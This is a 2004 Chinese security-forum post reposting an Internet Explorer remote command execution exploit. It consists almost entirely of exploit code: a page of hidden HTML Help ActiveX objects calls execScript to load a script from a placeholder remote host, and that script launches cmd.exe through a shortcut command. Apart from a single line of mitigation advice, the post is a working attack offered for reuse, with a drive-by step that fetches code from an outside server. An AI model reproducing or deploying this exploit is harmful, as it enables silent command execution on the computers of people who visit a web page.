Internet Explorer Remote Command Execution Exploit (CMDExe)

EvilOctal

团队执行官

Rank: 8 Rank: 8

E.S.T社区执行帐号

帖子: 9869
精华: 771
积分: 40986
阅读权限: 200
性别: 男
在线时间: 3986 小时
注册时间: 2004-7-4
最后登录: 2008-12-3

发短消息
加为好友
当前离线

楼主大中小发表于 2004-12-28 18:55 只看该作者

Internet Explorer Remote Command Execution Exploit (CMDExe)

信息来源：0DAY

复制内容到剪贴板

代码:

This unpatched vulnerability is a variant of the "Auto SP2 RC Exploit"

Solution : Set the security level for all zones to "High" in Internet Explorer



//  index.htm  //



<html><head></head>

<OBJECT style="display:none" id="locate" type="application/x-oleobject" 

classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" 

codebase="hhctrl.ocx#Version=5,2,3790,1194">

<PARAM name="Command" value="Related Topics, MENU">

<PARAM name="Button" value="Text:_">

<PARAM name="Window" value="$global_blank">

<PARAM name="Item1" value="command;ms-its:c:/windows/help/ntshared.chm

::/alt_url_enterprise_specific.htm">

</OBJECT>

<OBJECT style="display:none" id="locator" type="application/x-oleobject" 

classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" 

codebase="hhctrl.ocx#Version=5,2,3790,1194">

<PARAM name="Command" value="Related Topics, MENU">

<PARAM name="Button" value="Text:_">

<PARAM name="Window" value="$global_blank">

<PARAM name="Item1" value=&#39;command;javascript:execScript("document.write(\"

<script language=\\\"javascript\\\" src=\\\"[url]http://server//htm.txt[/url]\\\"\"+

String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")&#39;>

</OBJECT>

<script>locate.HHClick();setTimeout("locator.HHClick()",100);setTimeout

("window.opener=null;window.close()",10000)</script></body></html>



//  htm.txt  //



document.write("<object id=a classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11>

<param name=command value=shortcut><param name=item1 value=&#39;,cmd.exe,/c pause,&#39;>

</object><object id=b classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11>

<param name=command value=close></object><script>a.Click\(\);b.Click\(\)</script>");

曾几何时，有人对我说：装B遭雷劈。我说：去你妈的。于是，这个人又对我说：如果再说脏话，上帝会惩罚你的。我说：我操上帝。结论：彪悍的人生不需要上帝。

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » Internet Explorer Remote Command Execution Exploit (CMDExe)